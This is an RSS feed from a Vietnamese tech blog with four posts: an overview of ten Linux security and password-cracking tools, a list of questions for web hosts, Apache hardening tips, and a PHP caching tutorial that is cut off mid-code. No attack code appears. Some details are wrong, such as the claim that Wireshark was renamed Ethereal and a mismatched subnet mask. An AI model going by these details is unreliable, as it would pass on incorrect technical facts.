<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>I&#039;m saos@ngmo &#187; Hosting-Server-Domain</title>
	<atom:link href="http://www.huongtinhyeu.net/cms/danh-muc/hosting-server/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.huongtinhyeu.net/cms</link>
	<description>An open source freelancer</description>
	<lastBuildDate>Mon, 01 Feb 2010 13:47:17 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		
<!-- Start Of Script Generated By WP-PostViews Plus -->
<script type='text/javascript' src='http://www.huongtinhyeu.net/cms/wp-includes/js/jquery/jquery.js?ver=1.3.2'></script>
<script type="text/javascript">
/* <![CDATA[ */
jQuery.ajax({type:'GET',url:'http://www.huongtinhyeu.net/cms/wp-content/plugins/wp-postviews-plus/postviews_plus.php',data:'todowppvp=add&type=cat&id=4_1',cache:false,dataType:'script'});
/* ]]> */
</script>
<!-- End Of Script Generated By WP-PostViews Plus -->
	<item>
		<title>10 công cụ bảo mật và Hacking tốt nhất cho Linux</title>
		<link>http://www.huongtinhyeu.net/cms/10-cong-cu-bao-mat-va-hacking-tot-nhat-cho-linux/</link>
		<comments>http://www.huongtinhyeu.net/cms/10-cong-cu-bao-mat-va-hacking-tot-nhat-cho-linux/#comments</comments>
		<pubDate>Sat, 28 Feb 2009 18:02:54 +0000</pubDate>
		<dc:creator>saosangmo</dc:creator>
				<category><![CDATA[Hosting-Server-Domain]]></category>
		<category><![CDATA[bảo mật máy chủ]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[linux]]></category>

		<guid isPermaLink="false">http://huongtinhyeu.net/cms/?p=263</guid>
		<description><![CDATA[




Quản trị mạng &#8211; Linux chính là hệ điều hành máy tính giấc mơ của các hacker. Nó hỗ trợ rất nhiều các công cụ và tiện ích cho việc bẻ khóa các mật khẩu, quét các lỗ hổng mạng và phát hiện những xâm nhập có thể. Chúng tôi đã sưu tập một bộ [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Quản trị mạng</strong> &#8211; <em>Linux chính là hệ điều hành máy tính giấc mơ của các hacker. Nó hỗ trợ rất nhiều các công cụ và tiện ích cho việc bẻ khóa các mật khẩu, quét các lỗ hổng mạng và phát hiện những xâm nhập có thể. Chúng tôi đã sưu tập một bộ khoảng 10 công cụ tốt nhất trong việc hacking và bảo mật cho Linux. Tuy nhiên các bạn cần lưu ý rằng các công cụ này không có nghĩa là đều có hại.<span id="more-263"></span></em></p>
<p align="justify"><strong><span style="color: #0000ff;">1. John the Ripper</span></strong></p>
<p align="justify"><a href="http://www.openwall.com/john/" >John the Ripper</a> là một công cụ phần mềm bẻ khóa mật khẩu ban đầu được phát triển cho hệ điều hành Unix. Nó là một trong những chương trình testing/breaking mật khẩu phổ biến nhất vì có kết hợp một số bộ cracker mật khẩu trong cùng một gói phần mềm, tự động phát hiện các kiểu mật khẩu và có một bộ cracker có khả năng tùy chỉnh. Công cụ này có thể được chạy cho các định dạng mật khẩu đã được mã hóa chẳng hạn như các kiểu mật khẩu mã hóa vẫn thấy trong một số bản Unix khác (dựa trên DES, MDS hoặc Blowfish), Kerberos AFS và Windows NT/2000/XP/2003 LM hash. Bên cạnh đó còn có các mođul bổ sung mở rộng khả năng gồm có cả các kiểu mật khẩu MD4 và các mật khẩu được lưu trong LDAP, MySQL và các thành phần khác.</p>
<p align="center"><img src="http://www.quantrimang.com.vn/photos/Image/102008/02/tools2.jpg" alt="" width="500" height="358" /></p>
<p align="justify"><span style="color: #0000ff;"><strong>2.</strong> </span><strong><span style="color: #0000ff;">Nmap</span> </strong></p>
<p align="justify"><a href="http://nmap.org/" >Nmap</a> là một trình quét bảo mật mạng được nhiều người ưa thích. Nó được sử dụng để phát hiện các máy tính và các dịch vụ trên mạng máy tính, sau đó sẽ tạo một “bản đồ” mạng. Cũng giống như các bộ quét cổng đơn giản, Nmap có khả năng phát hiện các dịch vụ thụ động (passive) trên một mạng dù các dịch vụ như vậy không tự khuyếch trương bản thân chúng bằng một giao thức phát hiện dịch vụ. Thêm vào đó, Nmap có thể phát hiện các thông tin chi tiết khác nhau về các máy tính từ xa. Chúng có thể phát hiện ra hệ điều hành, kiểu thiết bị, thời gian và sản phẩm phần mềm chạy dịch vụ, số phiên bản chính xác của sản phẩm đó, sự hiện diện của một số công nghệ tường lửa trên một mạng nội bộ hoặc thậm chí cả hãng sản xuất card mạng từ xa.</p>
<p align="justify">Nmap chạy trên Linux, Microsoft Windows, Solaris, và BSD (gồm có Mac OS X), và trên cả AmigaOS. Linux là một nền tảng của nmap phổ biến nhất còn Windows là thứ hai.</p>
<p align="center"><img src="http://www.quantrimang.com.vn/photos/Image/102008/02/tools3.jpg" border="0" alt="" /></p>
<p align="justify"><strong><span style="color: #0000ff;">3. Nessus</span></strong></p>
<p align="justify"><a href="http://www.nessus.org/nessus/" >Nessus</a> là một phần mềm quét lỗ hổng khá toàn diện. Mục tiêu của nó là phát hiện các lỗ hổng tiềm ẩn trên các hệ thống được kiểm tra chẳng hạn như:</p>
<p align="justify">- Vulnerabilities that allow a remote cracker to control or access sensitive data on a system.</p>
<p align="justify">- Các lỗ hổng cho phép cracker từ xa có thể kiểm soát hoặc truy cập các dữ liệu nhạy cảm trên hệ thống.</p>
<p align="justify">- Lỗi cấu hình (ví dụ như mở mail relay, mất các bản vá,…)</p>
<p align="justify">- Các mật khẩu mặc định, một số mật khẩu chung, các một khẩu blank/absent (trắng hay thiếu) trên một số tài khoản hệ thống. Nessus cũng có thể gọi Hydra (một công cụ bên ngoài) để khởi chạy một tấn công dictionary.</p>
<p align="justify">- Từ chối dịch vụ đối với ngăn xếp TCP/IP bằng bằng sử dụng các gói dữ liệu đã bị đọc sai.</p>
<p align="justify">Nessus là một trình quét lỗ hổng phổ biến nhất hiện nay trên thế giới, ước lượng có đến 75.000 tổ chức trên toàn thế giới sử dụng. Nó xuất hiện lần đầu tiên trong bảng thống kê các công cụ bảo mật 2000, 2003 và 2006 cúa SecTools.Org.</p>
<p align="center"><img src="http://www.quantrimang.com.vn/photos/Image/102008/02/tools4.jpg" border="0" alt="" /></p>
<p align="justify"><strong><span style="color: #0000ff;">4. chkrootkit</span></strong></p>
<p align="justify"><a href="http://www.chkrootkit.org/" >Chkrootkit</a> (Check Rootkit) là một chương trình của Unix nhằm giúp các quản trị viên hệ thống kiểm tra hệ thống của họ về các rootkit. Nó là một kịch bản sử dụng các công cụ UNIX/Linux giống như các chuỗi và các lệnh grep để tìm kiếm các dấu hiệu trong các chương trình hệ thống lõi và so sánh sự mâu thuẫn của /proc filesystem với đầu ra của lệnh ps (process status) nhằm tìm kiếm những vấn đề khác nhau.</p>
<p align="justify">Chương trình này có thể được sử dụng từ một “đĩa giải cứu” hoặc có có thể sử dụng một thư mục khác để chạy tất cả các lệnh của riêng nó.</p>
<p align="justify">Tuy vậy vẫn có một số hạn chế cố hữu về độ tin cậy của bất cứ chương trình nào muốn phát hiện sự thỏa hiệp (chẳng hạn như các rootkit và các virus máy tính). Các rootkit mới hơn có thể phát hiện và thỏa hiệp các copy của các chương trình chkrootkit hoặc dùng các thủ đoạn khác để vòng tránh sự phát hiện bởi chương trình này.</p>
<p align="center"><img src="http://www.quantrimang.com.vn/photos/Image/102008/02/tools5.jpg" border="0" alt="" /></p>
<p align="justify"><strong><span style="color: #0000ff;">5. Wireshark</span></strong></p>
<p align="justify"><a href="http://www.wireshark.org/" >Wireshark</a> là môt ứng dụng được sử dụng để khắc phục sự cố mạng, phân tích, phần mềm và phát triển giao thức truyền thông. Vào tháng 6 năm 2006, dự án đã được đổi tên thành Ethereal do một số vấn đề về tên thương mại.</p>
<p align="justify">Wireshark cung cấp các chức năng giống như tcpdump, tuy nhiên nó lại có giao diện đồ họa người dùng và nhiều thông tin khác cũng như các tùy chọn. Chương trình này cho phép người dùng có thể quan sát tất cả lưu lượng trên mạng (thường là mạng Ethernet nhưng cũng hỗ trợ các tùy chọn khác).</p>
<p align="justify">Wireshark sử dụng cross-platform GTK+ widget toolkit và là cross-platform, chạy trên nhiều hệ điều hành khác nhau chẳng hạn như Linux, Mac OS X và Microsoft Windows. Được phát hành dưới dạng GNU General Public License và đây là một phần mềm miễn phí.</p>
<p align="center"><img src="http://www.quantrimang.com.vn/photos/Image/102008/02/tools6.jpg" border="0" alt="" /></p>
<p align="justify"><strong><span style="color: #0000ff;">6. Netcat</span></strong></p>
<p align="justify"><a href="http://www.vulnwatch.org/netcat/" >Netcat</a> là một tiện ích mạng dành để đọc và ghi các kết nối mạng TCP hoặc UDP.</p>
<p align="justify">Phần mềm này được bình chọn là công cụ bảo mật mạng hữu dụng thứ hai vào năm 2000 do insecure.org bình chọn. Đứng thứ tư vào năm 2003 và giữ nguyên vị trí đó cho đến cuộc bình chọn năm 2006.</p>
<p align="justify">Phiên bản ban đầu của netcat là một chương trình UNIX. Tác giả viết chương trình này đã phát hành phiên bản 1.1 và tháng Ba năm 1996.</p>
<p align="justify">Netcat có khả năng tương thích POSIX và những bổ sung đang tồn tại, có thể ghi đè với tính năng GNU netcat.</p>
<p align="center"><img src="http://www.quantrimang.com.vn/photos/Image/102008/02/tools7.jpg" border="0" alt="" /></p>
<p align="justify"><strong><span style="color: #0000ff;">7. Kismet</span></strong></p>
<p align="justify"><a href="http://www.kismetwireless.net/" >Kismet</a> là một bộ phát hiện, kiểm tra dữ liệu và hệ thống phát hiện xâm phạm cho các mạng LAN không dây 802.11. Nó làm việc với bất cứ card không dây nào có hỗ trợ chế độ kiểm tra các mưu đồ bất lương, bên cạnh đó còn có thể sử dung để kiểm tra lưu lượng của các chuẩn 802.11a, 802.11b và 802.11g.</p>
<p align="justify">Kismet không giống như hầu hết các bộ phát hiện mạng không dây khác ở tính thụ động. Điều này có nghĩa rằng không cần gửi bất kỳ một gói tin có thể ghi nào, nó vẫn có thể phát hiện sự hiện diện của các điểm truy cập không dây, các máy khách không dây và mối liên quan giữa chúng.</p>
<p align="justify">Công cụ này cũng có các tính năng cơ bản của một IDS không dây, chẳng hạn như phát hiện các chương trình kiểm tra ở chế độ tích cực NetStumbler cũng như một số các tấn công mạng không dây khác.</p>
<p align="center"><img src="http://www.quantrimang.com.vn/photos/Image/102008/02/tools8.jpg" border="0" alt="" /></p>
<p align="justify"><strong><span style="color: #0000ff;">8. Hping</span></strong></p>
<p><a href="http://www.hping.org/" >Hping</a><strong> </strong>là một bộ tạo và phân tích gói cho giao thức TCP/IP. Đây là một trong những công cụ hữu hiệu cho việc thẩm định bảo mật và kiểm tra các tường lửa và các mạng, nó được sử dụng để khai thác các kỹ thuật quét nhàn rỗi (cũng được dự định bởi chính tác giả viết ra nó) và hiện được bổ sung thêm trong Nmap Security Scanner. Phiên bản mới của hping là hping3 có khả năng tạo kịch bản bằng cách sử dụng ngôn ngữ Tcl và thực thi một cơ chế dựa trên chuỗi, mô tả các gói TCP/IP có thể đọc để các lập trình viên có thể viết các kịch bản để thao tác ở các gói TCP/IP mức thấp và phân tích trong thời gian rất ngắn.</p>
<p align="justify">Giống như các công cụ khác được sử dụng cho việc bảo mật máy tính, hping cũng rất hữu dụng cho cả các quản trị viên hệ thống và các cracker (hoặc những người mới viết kịch bản).</p>
<p align="justify"><img src="http://www.quantrimang.com.vn/photos/Image/102008/02/tools9.jpg" border="0" alt="" /></p>
<p align="justify"><strong><span style="color: #0000ff;">9. Snort</span></strong></p>
<p><a href="http://www.snort.org/" >Snort</a> là một chương trình mã nguồn mở, miễn phí, nó có khả năng phát hiện sự xâm nhập mạng và ngăn chặn sự xâm nhập này bằng viêc thực hiện ghi các gói và phân tích lưu lượng theo thời gian thực trên các mạng IP.</p>
<p align="justify">Snort thực hiện phân tích giao thức, searching/matching nội dung và được sử dụng để khóa (chủ động) hoặc phát hiện (thụ động) các tấn công hay những sự thăm dò chẳng hạn như tràn bộ đệm, việc quét trái phép các cổng, tấn công ứng dụng web, thăm dò SMB và nhiều tính năng khác nữa. Phần mềm này được sử dụng nhiều nhất cho mục đích ngăn chặn sự xâm nhập bằng cách khóa chặn các tấn công khi chúng bị phát hiện. Snort có thể được kết hợp với các phần mềm khác như SnortSnarf, sguil, OSSIM và Basic Analysis and Security Engine (BASE) để cung cấp một trình diễn mang tính trực giác đối với dữ liệu xâm phạm.</p>
<p align="center"><img src="http://www.quantrimang.com.vn/photos/Image/102008/02/tools10.jpg" border="0" alt="" /></p>
<p align="justify"><strong><span style="color: #0000ff;">10. tcpdump</span></strong></p>
<p align="justify"><a href="http://www.tcpdump.org/" >Tcpdump</a> là một công cụ gỡ rối các vấn đề về mạng, công cụ này chạy trong tiện ích dòng lệnh. Nó cho phép người dùng thông dịch và hiển thị các gói TCP/IP và các gói khác đang được truyền tải hoặc được nhận trên một mạng mà máy tính đó kết nối với.</p>
<p align="justify">Trong một số hệ điều hành giống như Unix, một người dùng phải có các đặc quyền “superuser” để sử dụng tcpdump vì các cơ chế capture gói dữ liệu trên các hệ thống khác yêu cầu các đặc quyền này. Tuy vậy, tùy chọn –Z có thể được sử dụng để bỏ đi những đặc quyền đối với một người dùng không có đặc quyền cụ thể sau khi việc capture đã được thiết lập. Trong các hệ điều hành giống như Unix, cơ chế capture có thể được cấu hình để cho phép những người dùng không có đặc quyền cũng có thể sử dụng nó; nếu điều đó được thực thi thì các đặc quyền superuser sẽ không cần thiết.</p>
<p align="justify">Người dùng có thể tùy chọn sử dụng bộ lọc BPF để hạn chế số lượng gói được quan sát bởi tcpdump; điều này ám chỉ rằng đầu ra sẽ hiệu suất hơn với phân vùng cao lưu lượng.</p>
<p align="center"><img src="http://www.quantrimang.com.vn/photos/Image/102008/02/tools11.jpg" border="0" alt="" /></p>
<p style="text-align: right;"><em>nguồn: quantrimang.com</em></p>
]]></content:encoded>
			<wfw:commentRss>http://www.huongtinhyeu.net/cms/10-cong-cu-bao-mat-va-hacking-tot-nhat-cho-linux/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>36 câu hỏi cần thực hiện trước khi mua host</title>
		<link>http://www.huongtinhyeu.net/cms/36-cau-hoi-can-thuc-hien-truoc-khi-mua-host/</link>
		<comments>http://www.huongtinhyeu.net/cms/36-cau-hoi-can-thuc-hien-truoc-khi-mua-host/#comments</comments>
		<pubDate>Tue, 20 Jan 2009 11:14:27 +0000</pubDate>
		<dc:creator>saosangmo</dc:creator>
				<category><![CDATA[Hosting-Server-Domain]]></category>
		<category><![CDATA[buy host]]></category>
		<category><![CDATA[chọn host]]></category>
		<category><![CDATA[hosting]]></category>
		<category><![CDATA[mua host]]></category>
		<category><![CDATA[sign up]]></category>

		<guid isPermaLink="false">http://huongtinhyeu.net/cms/?p=239</guid>
		<description><![CDATA[1. Do you have 24&#215;7 phone &#038; email support ?
2. What is the limits on Bandwidth &#038; Disk space ?
3. Can we have more than 1 domain hosted via the 1 account / plan ?
4. Will we be hosted on a clustered Linux server ?
5. Will we be hosted on a SAN device ?
6. Are [...]]]></description>
			<content:encoded><![CDATA[<p>1. Do you have 24&#215;7 phone &#038; email support ?<br />
2. What is the limits on Bandwidth &#038; Disk space ?<br />
3. Can we have more than 1 domain hosted via the 1 account / plan ?<br />
4. Will we be hosted on a clustered Linux server ?<br />
5. Will we be hosted on a SAN device ?<br />
6. Are the servers in ( OZ ) ?<br />
7. Do you require the name &#038; password of the account to troubleshoot problems ?<br />
8. Will we be able to use Fantastico on our domain ?<br />
9. Can we install Project.net from Fantastico ourselves ?<br />
10. Will you be archiving our account, including email, web site &#038; MySQL databases ?<br />
11. Can we initiated the backup &#038; restores ourselves ?<br />
12. What is the maximum number of email accounts we can have ?<br />
13. What is the maximum amount of space for each email account ?<br />
14. Do you have webmail access on all of the email accounts ?<br />
15. Can we configure webmail accounts ourselves ?<br />
16. Do you use cpanel ?<br />
17. Do you provide spam detection on all the web mail accounts ?<br />
18. Can we use boxtrapper to force in-bound email to reply with a confirmation email ?<br />
19. Do you provide ASP extensions on the web site ?<br />
20. Can we use PHP on the web site ?<br />
21. Are you using Red Hat Linux ?<br />
22. We need to load IBM Websphere &#038; Lotus Domino onto the server can we do this ?<br />
23. Would you allow use to install other software onto the Linux server ?<br />
24. If we decide that we dont want to renew our account do we have to write a letter ( not email ) to confirm we dont wish to renew ?<br />
25. Under what circumstance will you debit our credit card ?<br />
26. Do you keep our credit card details ?<br />
27. What is the longest time a customers web site has been down ?<br />
28. What did you do to reimburse them ?<br />
29. Do you support dynamic DNS ?<br />
30. Can we configure DNS setting in the panel &#8211; A records , CNAME records etc. ?<br />
31. Do you use load balancing on the servers ?<br />
32. Are the different clustered instances of the web site on different physical boxes ( horizontal ) or the same physical boxes ( vertical ) ?<br />
33. Do you own the physical server ?<br />
34. Do you own the physiccal building the dervers are housed in ?<br />
35. Do you have a DR site ?<br />
36. Do your stats include Displayed &#038; referring pages , Visitors Country , Search Engine , Static Overview MB / GBS downloaded</p>
<p>sưu tầm từ http://www.webhostingtalk.com/showthread.php?t=750506</p>
]]></content:encoded>
			<wfw:commentRss>http://www.huongtinhyeu.net/cms/36-cau-hoi-can-thuc-hien-truoc-khi-mua-host/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>10 điều cần thiết trong việc bảo mật Apache</title>
		<link>http://www.huongtinhyeu.net/cms/10-dieu-can-thiet-trong-viec-bao-mat-apache/</link>
		<comments>http://www.huongtinhyeu.net/cms/10-dieu-can-thiet-trong-viec-bao-mat-apache/#comments</comments>
		<pubDate>Thu, 15 Jan 2009 04:52:29 +0000</pubDate>
		<dc:creator>saosangmo</dc:creator>
				<category><![CDATA[Hosting-Server-Domain]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[bảo mật]]></category>
		<category><![CDATA[bảo mật máy chủ]]></category>

		<guid isPermaLink="false">http://huongtinhyeu.net/cms/?p=233</guid>
		<description><![CDATA[Khi cài đặt Apache cho máy chủ web của công ty. Hệ thống sẽ chạy rất êm ái và người quản trị nghĩ rằng mọi vấn đề về bảo mật đã hoàn thành. Nhưng hai tuần sau, mọi thứ bắt đầu thay đổi theo chiều hướng xấu. 
Tại sao? Đó là do Linux và Apache. [...]]]></description>
			<content:encoded><![CDATA[<p><span id="lblTeaser" class="F12B1"><img class="attachment wp-att-234" src="http://huongtinhyeu.net/cms/wp-content/uploads/2009/01/avataapache.thumbnail.jpg" alt="avataapache" width="100" height="73" align="left" />Khi cài đặt Apache cho máy chủ web của công ty. Hệ thống sẽ chạy rất êm ái và người quản trị nghĩ rằng mọi vấn đề về bảo mật đã hoàn thành. Nhưng hai tuần sau, mọi thứ bắt đầu thay đổi theo chiều hướng xấu. </span></p>
<p><span class="F12B1"><span id="more-233"></span></span><span id="lblContent" class="DetailBody">Tại sao? Đó là do Linux và Apache. Điều gì tạo nên sai lầm? Đó là do người quản trị đã không cẩn thận. Dưới đây là một số cách để có thể nâng cao tính bảo mật của Apache.</p>
<p><strong>1. Nâng cấp:</strong> Apache chạy trên Linux không có nghĩa là không phải nâng cấp. Những lỗ hổng và những nguy cơ mới được phát hiện thường xuyên. Hãy luôn theo dõi tình hình nâng cấp với những bản vá lỗi mới nhất. Nếu người quản trị cài đặt với file đóng gói, việc nâng cấp sẽ rất dễ dàng. Nếu cài đặt với mã nguồn, hãy kiểm tra chắc chắn rằng quá trình cập nhật sẽ không làm hỏng các modul hay những gì trang web đang phụ thuộc. Và nếu nâng cấp Apache hãy chắc chắn rằng PHP cũng nâng cấp theo để trang web có thể hoạt động được tốt trong môi trường mới.</p>
<p><strong>2. Quản lý các thành viên theo nhóm: </strong>Apache đã thiết lập rất nhiều nhóm và/hoặc thành viên. Tài khoản nguy hiểm nhất chính là tài khoản quản trị (Root). Tài khoản này có thể làm mọi việc trên máy chủ Apache. Hoặc có thể là Apache và MySQL cùng chạy trên một nhóm hoặc tài khoản. Nếu ở một trong hai chương trình có lỗ hổng, hacker có thể tấn công vào cả chương trình kia. Một kịch bản tốt nhất chính là để cho Apache chỉ chạy với tài khoản và nhóm của Apache. Để tạo ra sự thay đổi này, hãy mở file <em>httpd.conf</em> và tìm đến dòng:</p>
<p>User<br />
Group</p>
<p><em>Thay bằng</em></p>
<p>User apache<br />
Group apache</p>
<p>Nếu nhận thấy bất kỳ thông báo nào về nhóm hay thành viên không tồn tại, hãy khởi tạo chúng.</p>
<p><strong>3. Tắt những dịch vụ không cần thiết:</strong> Có một vài dịch vụ/tính năng mà người quản trị sẽ muốn tắt/ không cho phép hoạt động. Tất cả các dịch vụ có thể bị ngắt trong file<strong> httpd.conf</strong>. Một vài lựa chọn để có thể ngắt mà không ảnh hưởng gì:</p>
<ul>
<li><strong>Directory browsing:</strong> Sử dụng Options và thiết lập <em>“-Indexing”.</em></li>
<li><strong>Server side Includes:</strong> Đây là một dịch vụ khác có thể ngắt, sử dụng Options và thiết lập <em>“-Includes”.</em></li>
<li><strong>CGI execution:</strong> Trừ khi trang web cần một cồng giao tiếp dùng chung, không thì hãy tắt nó đi. Tính năng này có thể ngắt thông qua Options với thiết lập <em>“-ExecCGI”.</em></li>
<li><strong>Symbolic links: </strong>Hãy thiết lập ở bên trong thư mục với <em>“-FollowSymLinks”</em>.</li>
<li><strong>None: </strong>Người quản trị có thể bỏ đi tất cả các chọn lựa bằng cách sử dụng <em>“None”</em> cùng với Option.</li>
</ul>
<p></span></p>
<p><strong>4. Tắt những module không cần thiết:</strong> Apache có hàng “tấn” các module. Để biết được có bao nhiêu module đang hoạt động, hãy sử dụng lệnh (với tài khoản quản trị) <em>grep -n LoadModule httpd.conf</em>. Lệnh này sẽ cho người quản trị thấy tất cả các module của Apache đang hoạt động trên mỗi dòng hiển thị. Hãy ngắt những modul không cần thiết bằng cách đơn giản là thêm ký tự # trước mỗi dòng của module.</p>
<p><strong>5. Hạn chế truy cập: </strong>Khi công ty có mạng nội bộ thì có nghĩa là những thông tin của doanh nghiệp đang gặp nguy hiểm. Người quản trị sẽ muốn từ chối tất cả những người không thuộc công ty truy cập vào mạng và lấy thông tin. Để làm được việc này, người quản trị có thể cấu hình file <em>httpd.conf</em> nhằm hạn chế truy cập của những thư mục nhạy cảm trong mạng bộ theo những dòng lệnh sau.</p>
<p>Order Deny, Allow<br />
Deny from all<br />
Allow from 192.168.1.0/16</p>
<p><em>192.168.1.0/16</em> là địa IP của các máy trong mạng nội bộ công ty. Với tất cả những thay đổi của file httpd.conf hãy khởi động lại Apache để những thay đổi có hiệu lực.</p>
<p><strong>6. Hạn chế kích thước truy vấn:</strong> Kiểu tấn công từ chối dịch vụ sẽ luôn có tác dụng nếu như trang web chấp nhận những truy vấn có kích thước lớn trong Apache. Apache có hướng dẫn về <em>LimitRequestBody</em> được đặt tại thẻ Directory. Hãy thiết lập giới hạn của câu lệnh truy vấn phù hợp nhất với trang web của mình. Ở chế độ mặc định, <em>LimitRequestBody </em>được thiết lập là không giới hạn.</p>
<p><strong>7. Sử dụng mod_security: </strong>Đây là một điều rất quan trọng. Apache có một modul là <em>mod_security</em> với rất nhiều tính năng như: lọc đơn giản, lọc những truy vấn thường dùng, kiểm soát URL hợp lệ, và dấu địa chỉ IP thật của máy chủ. Việc cài đặt <em>mod_security</em> là tương đối phức tạp. Nhưng người quản trị có thể bắt đầu bằng cách thêm vào Apache hai modul nhỏ là <em>“unique_id”</em> và <em>“security2″</em>. Để thêm hai mục trên, sử dụng lệnh <em>service apache2 configtest</em>. Nếu máy trả lời là <em>Syntax OK</em> thì bạn đã làm việc này rất tốt.</p>
<p><strong>8. Không cho phép duyệt những dữ liệu ngoài thư mục gốc:</strong> Cho phép duyệt những dữ liệu ngoài thư mục gốc là một việc mang lại nhiều rắc rồi. Trừ khi người quản trị có những nhu cầu đặc biệt cần đến sự cho phép làm việc này, ngoài ra thì hãy ngắt tính năng này đi. Đầu tiên, cần phải chính sửa file tài liệu gốc Directory như sau:</p>
<p>&lt;Directory /&gt;<br />
Order Deny, Allow<br />
Deny from all<br />
Options None<br />
AllowOverride None<br />
&lt;/Directory&gt;</p>
<p>Bây giờ, nếu muốn thêm lựa chọn nào cho bất kỳ thư mục trong thư mục gốc , người quản trị phải thêm câu lệnh vào từng thư mục một.</p>
<p><strong>9. Ẩn phiên bản Apache:</strong> Tấn công là cách phòng thủ tốt nhất. Và cách tấn công tốt nhất là có thể che dâu tất cả những thông tin có thể che dấu được. Một thông tin quan trọng cần che dấu chính là phiên bản của Apache. Khi ẩn nó đi, chúng ta có thể hạn chế được phần nào những người có kiến thức bảo mật về phiên bản đó xâm nhập một cách nhanh chóng vào máy chủ Web. Để ẩn phiên bản của Apache, hãy thêm vào file gốc của thư mục những dòng lệnh sau:</p>
<p>ServerSignature Off<br />
ServerTokens Prod</p>
<p><strong>10. Ngắt file <em>httpd.conf</em>:</strong> Một cách tốt nhất để bảo mật chính là ẩn file <em>httpd.conf </em>khỏi những con mắt tò mò. Nếu mọi người không thể nhìn thấy file <em>httpd.conf,</em> thì họ không thể thay đổi cấu hình bên trong đó. Vô hiệu hóa <em>httpd.conf</em> bằng cách đưa file đó về chế độ không thể thay đổi theo câu lệnh:</p>
<p><em>chattr +i /path/to/httpd.conf</em></p>
<p><em>/path/to/httpd.conf </em>là đường dẫn tới file cấu hình của Apache. Bây giờ, việc thay đổi httpd.conf là một việc vô cùng khó khăn với tất cả mọi người.</p>
<p>ITcenter &#8211; <span id="lblSource" class="F12B">Techrepublic</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.huongtinhyeu.net/cms/10-dieu-can-thiet-trong-viec-bao-mat-apache/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Caching output in PHP</title>
		<link>http://www.huongtinhyeu.net/cms/caching-output-in-php/</link>
		<comments>http://www.huongtinhyeu.net/cms/caching-output-in-php/#comments</comments>
		<pubDate>Sat, 10 Jan 2009 15:11:18 +0000</pubDate>
		<dc:creator>saosangmo</dc:creator>
				<category><![CDATA[Hosting-Server-Domain]]></category>
		<category><![CDATA[cache]]></category>
		<category><![CDATA[kỹ năng lập trình]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://huongtinhyeu.net/cms/?p=113</guid>
		<description><![CDATA[Caching of output in PHP is made easier by the use of the output buffering functions built in to PHP 4 and above.
You&#8217;ll need to use two files to set up a caching system for your site. The first, &#8220;begin_caching.php&#8221; in this case, will run before any other PHP on your site. The second, &#8220;end_caching.php&#8221; [...]]]></description>
			<content:encoded><![CDATA[<p>Caching of output in PHP is made easier by the use of the output buffering functions built in to PHP 4 and above.</p>
<p>You&#8217;ll need to use two files to set up a caching system for your site. The first, &#8220;begin_caching.php&#8221; in this case, will run before any other PHP on your site. The second, &#8220;end_caching.php&#8221; in this case, runs after normal scripts have run. The two scripts effectively wrap around your current site.<span id="more-113"></span></p>
<p>You can achieve this wrapping effect one of two ways. The first way is to simply use the include() function and add them manually to every script you run. Unfortunately, this method can take some time, but is arguably more portable than the alternative.</p>
<p>The alternative relies on adding the following two lines of code (modified to reflect the correct path to the two PHP files needed) to your htaccess file. This is my preferred method, just because it requires no modification to existing scripts, and can very easily and quickly be turned off (just by commenting out the relevant lines in the htaccess file).</p>
<ol class="codeblock">
<li><code>php_value auto_prepend_file /full/path/to/begin_caching.php</code></li>
<li class="even"><code>php_value auto_append_file /full/path/to/end_caching.php</code></li>
</ol>
<p>Next, we move on to the scripts that do the work. There are several stages to caching a document:</p>
<ol>
<li>Receive request for page</li>
<li>Check for the existence of a cached version of that page</li>
<li>Check the cached copy is still valid
<ul>
<li>If it is, send the cached copy</li>
<li>If not, create a new cached copy and send it</li>
</ul>
</li>
</ol>
<p>To begin with, the script below contains a few basic settings. Here, you can set the directory you want to save cached files to (I would recommend keeping that directory outside your web root directory or at least protecting it from view through a normal browser). This script will need to be able to create files in this directory, and you need to allow this by setting the permissions of the directory. The permissions depend upon your server set up, so you may want to start by setting them to 777 while testing the script, and then reduce them to the lowest levels possible once the script is working.</p>
<p>You can also set the time, in seconds, a cached file should be considered valid for after creation, and set the file extension for saved files. It would be wise to not name them &#8220;.php&#8221;, just for safety&#8217;s sake.</p>
<ol class="codeblock">
<li><code>&lt;?php</code></li>
<li class="even"><code> </code></li>
<li><code> // Settings</code></li>
<li class="even"><code> $cachedir = '../cache/'; // Directory to cache files in (keep outside web root)</code></li>
<li><code> $cachetime = 600; // Seconds to cache files for</code></li>
<li class="even"><code> $cacheext = 'cache'; // Extension to give cached files (usually cache, htm, txt)</code></li>
<li><code> </code></li>
<li class="even"><code> // Ignore List</code></li>
<li><code> $ignore_list = array(</code></li>
<li class="even"><code> 'addedbytes.com/rss.php',</code></li>
<li><code> 'addedbytes.com/search/'</code></li>
<li class="even"><code> );</code></li>
<li><code> </code></li>
<li class="even"><code> // Script</code></li>
<li><code> $page = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; // Requested page</code></li>
<li class="even"><code> $cachefile = $cachedir . md5($page) . '.' . $cacheext; // Cache file to either load or create</code></li>
<li><code> </code></li>
<li class="even"><code> $ignore_page = false;</code></li>
<li><code> for ($i = 0; $i &lt; count($ignore_list); $i++) {</code></li>
<li class="even"><code> $ignore_page = (strpos($page, $ignore_list[$i]) !== false) ? true : $ignore_page;</code></li>
<li><code> }</code></li>
